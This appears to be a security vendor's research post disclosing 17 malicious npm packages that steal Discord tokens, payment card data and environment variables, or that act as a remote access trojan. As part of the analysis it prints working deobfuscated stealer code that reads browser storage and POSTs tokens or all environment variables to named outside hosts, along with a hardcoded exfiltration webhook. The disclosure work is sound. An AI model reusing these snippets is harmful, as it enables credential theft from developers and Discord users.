Malicious npm Packages Are After Your Discord Tokens – 17 New Packages Disclosed

NPM Malicious Packages

The JFrog Security research team continuously monitors popular open source software (OSS) repositories with our automated tooling, and reports any vulnerabilities or malicious packages discovered to repository maintainers and the wider community. Most recently we disclosed 11 malicious packages in the PyPI repository, a discovery that shows attacks are getting more sophisticated in their approach. The advanced evasion techniques used in the PyPI malware packages signal a disturbing trend that attackers are becoming stealthier in their attacks on open source software. 

Hot on the heels of that report, we are now sharing the findings of our most recent body of work — disclosing 17 malicious packages in the npm (Node.js package manager) repository that were picked up by our automated scanning tools. Many of them intentionally seek to attack a user’s Discord token, which is a set of letters and numbers that act as an authorization code to access Discord’s servers. It is effectively a user’s credentials. Put plainly: obtaining a victim’s Discord token gives the attacker full access to the victim’s Discord account.

We disclosed these 17 malicious packages to the npm code maintainers, and the packages were promptly removed from the npm repository — a good indication these packages are indeed causing issues. Luckily, these packages were removed before they could rack up a large number of downloads (based on npm records) so we managed to avoid a scenario similar to our last PyPI disclosure, where the malicious packages were downloaded tens of thousands of times before they were detected and removed.

The packages’ payloads are varied, ranging from infostealers up to full remote access backdoors. Additionally, the packages have different infection tactics, including typosquatting, dependency confusion and trojan functionality. 

Before we dive into the details on what we discovered and how you can best protect yourself against this threat, we also want to recommend you read through our article for tips on best practices for vulnerability scanning.

Reported Packages

The “infection method” was guessed from package metadata — actual attacks were not observed.

Package Version  Payload Infection Method
prerequests-xcode 1.0.4 Remote Access Trojan (RAT) Unknown
discord-selfbot-v14 12.0.3 Discord token grabber Typosquatting/Trojan (discord.js)
discord-lofy 11.5.1 Discord token grabber Typosquatting/Trojan (discord.js)
discordsystem 11.5.1 Discord token grabber Typosquatting/Trojan (discord.js)
discord-vilao 1.0.0 Discord token grabber Typosquatting/Trojan (discord.js)
fix-error 1.0.0 PirateStealer (Discord malware) Trojan
wafer-bind 1.1.2 Environment variable stealer Typosquatting (wafer-*)
wafer-autocomplete 1.25.0 Environment variable stealer Typosquatting (wafer-*)
wafer-beacon 1.3.3 Environment variable stealer Typosquatting (wafer-*)
wafer-caas 1.14.20 Environment variable stealer Typosquatting (wafer-*)
wafer-toggle 1.15.4 Environment variable stealer Typosquatting (wafer-*)
wafer-geolocation 1.2.10 Environment variable stealer Typosquatting (wafer-*)
wafer-image 1.2.2 Environment variable stealer Typosquatting (wafer-*)
wafer-form 1.30.1 Environment variable stealer Typosquatting (wafer-*)
wafer-lightbox 1.5.4 Environment variable stealer Typosquatting (wafer-*)
octavius-public 1.836.609 Environment variable stealer Typosquatting (octavius)
mrg-message-broker 9998.987.376 Environment variable stealer Dependency confusion

Why steal Discord tokens?

We’ve recently seen a surge of Discord token-grabbing malware, previously in our PyPI publications (ex. noblesse, DiscordSafety) and now also in the npm repository.

Discord is a ubiquitous digital communication platform with over 350 million registered users that enables communication via voice calls, video calls, text messaging and media files (or other arbitrary files). This is done either privately (user to user) or within persistent virtual rooms called “servers.”

With this in mind, one might wonder: Why steal Discord tokens?

From our research, we have hypothesized several enticing reasons:

  1. Using the platform as part of an attack
    Discord servers are often used as anonymous command & control (C2) servers, controlling a Remote Access Trojan (RAT) or even an entire botnet. Alternatively, the Discord servers can be used as an anonymous exfiltration channel. In our previous research, we noted that the “noblesse” malware family uses Discord webhooks to exfiltrate stolen data. If an attacker obtains arbitrary Discord users/servers, this allows for better attack anonymization since any attack using these credentials would be traced to the legitimate user and not the attacker.
  2. Spreading malware to Discord users
    Hacked Discord accounts can be used for social engineering purposes, to keep spreading malware – either manually or automatically via a worm. A victim is much more likely to accept (and execute) an arbitrary file from a friend’s account on Discord, versus a file sent by a complete stranger.
  3. Selling stolen premium accounts
    Discord operates a premium service called “Discord Nitro.” This service currently costs $100 per year and unlocks several cosmetic options for the user (emojis, badges, etc.) and the option to “boost” chosen servers which enhances the call & video quality of streams on that server. Attackers may be targeting Discord accounts that have purchased Nitro in order to resell them for cheap in an online marketplace. For example, this can be seen in the “playerup.com” marketplace:

The marketplace sells both standalone Nitro keys and entire accounts that have Nitro enabled.

For further reading about the Discord malicious landscape, Sophos has also done extensive research on the subject.

Discord token grabbers

Due to the popularity of this attack payload, there are quite a lot of Discord token grabbers posted with build instructions on GitHub: 

An attacker can take one of these templates and develop custom malware without extensive programming skills – meaning any novice hacker can do this with ease in a matter of minutes. As mentioned, this can be used in tandem with a variety of online obfuscation tools to avoid basic detection techniques.

It’s important to note these payloads are less likely to be caught by antivirus solutions, versus a full-on RAT backdoor, since a Discord stealer does not modify any files, does not register itself anywhere (to be executed on next boot, for example) and does not perform suspicious operations such as spawning child processes.

The discord-lofy and discord-selfbot-v14 packages were published by the same author (davisousa) and pretend to be modifications of the popular legitimate library discord.js, which enables interaction with the Discord API.

In classic Trojan manner, the packages attempt to misdirect the victim by copying the README.md from the original package:

The malware’s author took the original discord.js library as the base and injected obfuscated malicious code into the file src/client/actions/UserGet.js:

The obfuscated version of the code is enormous: more than 4,000 lines of unreadable code, containing every possible method of obfuscation: mangled variable names, encrypted strings, code flattening and reflected function calls:

function I6(b, t, D, F, T, s,...) {
    return L(by - 0x2c8, Ll);
}
 
function I3(b, t, D, F...) {
    return L(IR - -0x32d, tJ);
}
 
function I0(b, t, D, F,...) {
    return L(vy - -0x3c2, LM);
}
 
function a(b, t, D, F,...) {
    return L(Ly - -0x5f, v7);
}

Through manual analysis and scripting, we were able to deobfuscate the package and reveal that its final payload is quite straightforward – the payload simply iterates over the local storage folders of well-known browsers (and Discord-specific folders), then searches them for strings looking like a Discord token by using a regular expression. Any found token is sent back via HTTP POST to the hardcoded server https://aba45cf.glitch.me/polarlindo:

paths = ['/Users/user/AppData/Roaming/Discord/Local Storage/leveldb'    
             '/Users/user/AppData/Roaming/Lightcord/Local Storage/leveldb'
             '/Users/user/AppData/Roaming/discordptb/Local Storage/leveldb'
             '/Users/user/AppData/Roaming/discordcanary/Local Storage/leveldb'
             '/Users/user/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb',
             '/Users/user/AppData/Roaming/Opera Software/Opera GX Stable/Local Storage/leveldb'
             '/Users/user/AppData/Local/Amigo/User Data/Local Storage/leveldb'
             '/Users/user/AppData/Local/Torch/User Data/Local Storage/leveldb',
             '/Users/user/AppData/Local/Kometa/User Data/Local Storage/leveldb',
              '/Users/user/AppData/Local/AppData/Local/Orbitum/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/CentBrowser/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/7Star/7Star/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/Sputnik/Sputnik/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/Vivaldi/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/Google/Chrome SxS/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/Epic Privacy Browser/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/uCozMedia/Uran/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/Microsoft/Edge/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/Opera Software/Opera Neon/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb'];
paths.forEach(p => getToken(p))
function getToken(p) {
    fs.readdir(p, (e, f) => {
        if (f) {
            f = f.filter(f => f.endsWith("ldb"))
            f.forEach(f => {
                var fileContent = fs.readFileSync(`${p}/${f}`).toString()
                var noMFA = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/
                var mfa = /"mfa\.[\d\w_-]{84}"/
                var [token] = noMFA.exec(fileContent) || mfa.exec(fileContent) || [undefined]
                if (token) fetch("http://ip-api.com/json/").then(r => r.json()).then(r => fetch('https://aba45cf[.]glitch[.]me/polarlindo', {
                    method: "POST",
                    body: JSON.stringify({
                        token: token,
                        ip: r.query
                    })
                }))
            })
        }
    })
}

The discordsystem  and discord-vilao packages were uploaded by different authors, but are very similar to the previous two packages, except for the exfiltration method – the stolen tokens are sent back via a hardcoded Discord Webhook. For example, the discordsystem exfiltrates to the following Webhook: https://canary.discord.com/api/webhooks/903018156283551775/lJOJ9526e_rzw0Js2DQPdV0eYQd5RQybtUcJqolp84JTwlxJxaWnuam9FyUplYN2TJfT

PirateStealer

The fix-error package is another Trojan package that promises to “Fix errors in discord selfbot”. When inspecting the package code, it’s easy to see that it is obfuscated:

eval(function(p, a, c, k, e, d) {
    while (c--) {
        if (k[c]) {
            p = p["\\x72\\x65\\x70\\x6C\\x61\\x63\\x65"](new RegExp("\\x5C\\x62" + c + "\\x5C\\x62", "\\x67")
        }
    };
    return p
}("\\x35\\x39\\x20\\x32\\x35\\x3D\\x5B\\x22\\x5C\\x31\\x31\\x5C\\x31\\x34\\x5C\\x34\\x32\\x5C\\x31\\x35...

This time, the payload can be very easily deobfuscated by replacing eval with console.log.

Unlike the obfuscator used by discord-lofy, this obfuscator doesn’t change the code flow, but sticks to the basics (obfuscating strings and replacing variables names) so it’s pretty straightforward to fully deobfuscate:

...
 
function listDiscords() {
    exec(_0[34], function(_2, _4, _12) {
        if (_4[_0[9]](_0[35])) {
            runningDiscords[_0[11]](_0[36])
        };
        if (_4[_0[9]](_0[37])) {
            runningDiscords[_0[11]](_0[38])
        };
        if (_4[_0[9]](_0[39])) {
            runningDiscords[_0[11]](_0[40])
        };
        killDiscord()
    })
}
 
function killDiscord() {
    runningDiscords[_0[12]]((_3) => {
        exec(`${_0[41]}${_3}${_0[42]}`, (_2) => {
            if (_2) {
                return
            }
        })
    });
    Infect();
    pwnBetterDiscord()
}
 
...

After inspecting the deobfuscated code, it is clear this is an obfuscated version of the infamous PirateStealer hack tool. This tool steals private data stored in the Discord client, such as credit cards, login credentials and personally identifiable information (PII).

The hack tool works by injecting malicious Javascript code into the Discord client.

The injected code spies on the user and sends back the stolen information to a hardcoded Webhook address: 

m = {
    username: "Vilao",
    content: "",
    embeds: [{
        title: "Cartão Adicionado",
        description: "**Nome:**```" + c.username +
                                "#" + c.discriminator +
                   "```\n**ID:**```" + c.id + "```\n
                      **Email:**```" + c.email + "```\n
              **Tipo de nitro:**```" + GetNitro(c.premium_type) +
               "```\n**Badges:**```" + GetBadges(c.flags) + "```\n
                **Cartão N°: **```" + e +
          "```\n**Expira em: **```" + n + "/" + r + "```\n
                      **CVC: **```" + t + "```\n
                   **Região: **```" + l + "```\n
                   **Estado: **```" + o + "```\n
                   **Cidade: **```" + s + "```\n
                       **ZIP:**```" + i + "```\n
                   **Bairro: **```" + a + "```\n
                     **Token:**```" + p + "```\n
                       **IP: **```" + d + "```",
        author: {
            name: "Vilao"
        },
        footer: {
            text: "Vilao"
        },
        thumbnail: {
            url: "https://cdn.discordapp.com/avatars/" + c.id + "/" + c.avatar
        }
    }]
};
SendToWebhook(JSON.stringify(m))

Remote Access Trojan

The package prerequests-xcode doesn’t have a description but has an impressive list of dependencies, which allude to the sensitive data it’s meant to exfiltrate:

{
    "dependencies": {
        "axios": "^0.21.1",
        "clipboardy": "^2.3.0",
        "desktop-screenshot": "^0.1.1",
        "discord": "^0.8.2",
        "discord-pages": "^1.0.2",
        "discord-webhook-node": "^1.1.8",
        "discord.js": "^11.6.4",
        "express": "^4.17.1",
        "http": "0.0.1-security",
        "lazy": "^1.0.11",
        "loudness": "^0.4.1",
        "node-hide-console-window": "^2.1.0",
        "node-webcam": "^0.8.0",
        "open": "^8.3.0",
        "os": "^0.1.2",
        "path": "^0.12.7",
        "ps-node": "^0.1.6",
        "request": "^2.88.2",
        "screenshot-desktop": "^1.12.7",
        "serve-index": "^1.9.1",
        "socket.io": "^4.2.0"
    }
}

When inspecting the package’s code, we identified it contains a Node.JS port of DiscordRAT (originally written in Python) which gives an attacker full control over the victim’s machine. The malware is obfuscated with the popular online tool obfuscator.io, but in this case it is enough to inspect the list of available commands to understand the RAT’s functionality (copied verbatim):

!webcampic - Takes a picture from the webcam
!screenshot - Takes the screenshot of the user's current screen
!vbs - Executes VBScript code received from the attacker
!Powershell - Executes PowerShell code received from the attacker
!clipboard - sends to the attacker content of the clipboard
!download - downloads file from the victim machine
!geolocated - send data from https://geolocation-db.com/json/
!passwords - sends to the attacker all passwords stored in a system
!shell - execute a shell command
!tokens - send to the attacker discord tokens
!listprocess - receive information about running processes
!startup - add a file to the startup

Similar to old-school IRC malware, this RAT is controlled over a Discord private chat.

Environment variable stealer

Our research yielded the disclosure of ten packages that performed environment variable theft. The wafer-* packages (wafer-bind, wafer-beacon, etc.) do not contain any legitimate functionality, but rather contain a small snippet of malicious code, which is possible to understand even when obfuscated: 

function a0_0x2c5d(_0x3c5edd, _0x43388a) {
    const _0x5bc4a6 = a0_0x5bc4();
    return a0_0x2c5d = function(_0x2c5dfc, _0x1206df) {
        _0x2c5dfc = _0x2c5dfc - 0x1bd;
        let _0x2f5ef7 = _0x5bc4a6[_0x2c5dfc];
        return _0x2f5ef7;
    }, a0_0x2c5d(_0x3c5edd, _0x43388a);
}
req = http['request']({
    'host': ["a5eb7b362adc824ed7d98433d8eae80a", 'm', 'pipedream', "net"]["join"]('.'),
    'path': '/' + (process["env"]["npm_package_name"] || ''),
    'method': "POST"
}), req["write"](Buffer["from"](JSON["stringify"](process['env']))["toString"]("base64")), req["end"]();

The malware simply gathers all of the victim process’ environment variables and POSTs them (as BASE64-encoded strings) to a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net

This is a dangerous payload since environment variables are a prime location for keeping secrets that need to be used by the runtime (as they are safer than keeping the secrets in cleartext storage, or passing the secrets via command-line variables).

For example, the AWS CLI supports getting the AWS secret access key via an environment variable:

$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_DEFAULT_REGION=us-west-2 

The types of machines targeted by these malicious packages, namely developer and CI/CD machines, are very likely to contain such secrets and access keys in the user’s environment.

All other environment-stealing packages contained very similar obfuscation and payloads, sometimes employing slightly different parameters (such as a different exfiltration server).

Conclusion

The malware found in the npm repository is very similar to malicious packages discovered by our PyPI malware monitoring. Attackers usually use public hack tools with slight modifications (or even unmodified tools), which are obfuscated using public obfuscators.

We are witnessing a recent barrage of malicious software hosted and delivered through open-source software repositories. Public repositories have become a handy instrument for malware distribution: the repository’s server is a trusted resource, and communication with it does not raise the suspicion of any antivirus or firewall. In addition, the ease of installation via automation tools such as the npm client, provides a ripe attack vector.

In light of this threat, we are constantly making efforts to help the developer community and our customers by exposing new malicious packages and the techniques used by malware authors to hide them to increase the security of popular repositories. We also recommend organizations take precaution and manage their use of npm for software curation, to reduce the risk of introducing malicious code into their applications.

Stay Tuned

In addition to exposing new security vulnerabilities and threats, JFrog provides developers and security teams easy access to the latest relevant information for their software with automated security scanning by JFrog Xray. Keep following us for product updates including automated vulnerability and malicious code detection to defend against the latest emerging threats.

Read about the Log4Shell

Questions? Thoughts? Contact us at research@jfrog.com for any inquiries.